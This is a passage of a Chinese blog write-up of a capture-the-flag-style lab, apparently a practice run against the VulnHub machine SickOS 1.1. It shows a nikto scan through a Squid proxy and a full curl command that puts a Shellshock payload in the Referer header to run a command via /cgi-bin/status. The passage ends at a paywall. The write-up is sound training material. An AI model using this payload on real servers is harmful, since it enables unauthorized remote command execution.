红队打靶：SickOS1.1详细打靶思路之shellshock漏洞利用（vulnhub）

最新推荐文章于 2024-03-15 21:23:41 发布

原创

最新推荐文章于 2024-03-15 21:23:41 发布 · 1.4k 阅读

5 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全 #系统安全 #linux #服务器

写在开头

本文依旧是红队笔记大佬打靶的思路与过程复现。讲述了SickOS1.1靶机的详细打靶思路，与上篇博客不同，本文主要是使用了shellshock漏洞利用的思路，涉及的知识点包括，nikto扫描、shellshock漏洞利用、msfvenom生成payload、定时任务提权等。完整打靶视频详见：

「红队笔记」靶机精讲：SickOS1.1 - Shellshock原理和利用过程精讲_哔哩哔哩_bilibili

采用squid代理分析+web渗透cms后台获取root权限的思路详见我的上一篇博客：

红队打靶：SickOS1.1详细打靶思路之squid代理分析

本文针对的靶机源于vulnhub，详情见：

SickOs: 1.1 ~ VulnHub

靶机下载链接见：

https://download.vulnhub.com/sickos/sick0s1.1.7z

第一步：主机发现和端口扫描

这一步直接参照上一篇博客，链接如下：

红队打靶：SickOS1.1详细打靶思路之squid代理分析

得到靶机的ip是192.168.200.141，开放的端口是22和3128，还有一个关闭的8080端口。kali主机的ip是192.168.200.131 。上一篇文章已经详细讲述了扫描过程，这里不再重复。

第二步：shellshock漏洞发现

用nikto对靶机进行扫描。nikto是一个用于网页服务器漏洞扫描的工具，是kali中自带的。在上一篇博客中我们已经知道扫描时必须使用http代理，因此我们使用代理192.168.200.141:3128对靶机192.168.200.141进行扫描，命令如下：

nikto –h 192.168.200.141 –useproxy http://192.168.200.141:3128

扫描结果发现在路径/cgi-bin/status目录下存在shellshock漏洞。shellshock是一个有关bash的漏洞，也称为Bashdoor。其实我也不是很了解，百度百科简单搜索结果如下：

百度百科之Shellshock漏洞

我们试图用curl发送请求进行验证，命令如下：

curl -v --proxy http://192.168.200.141:3128 http://192.168.200.141/cgi-bin/status -H "Referer:() {  test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"

说实话，我之前也不太了解这行命令的详细意义，红队笔记大佬说只要记住就行了，或者网上搜一下。我这里搜索之后把具体命令参数的含义解释如下：

curl: Curl是一个命令

最低0.47元/天解锁文章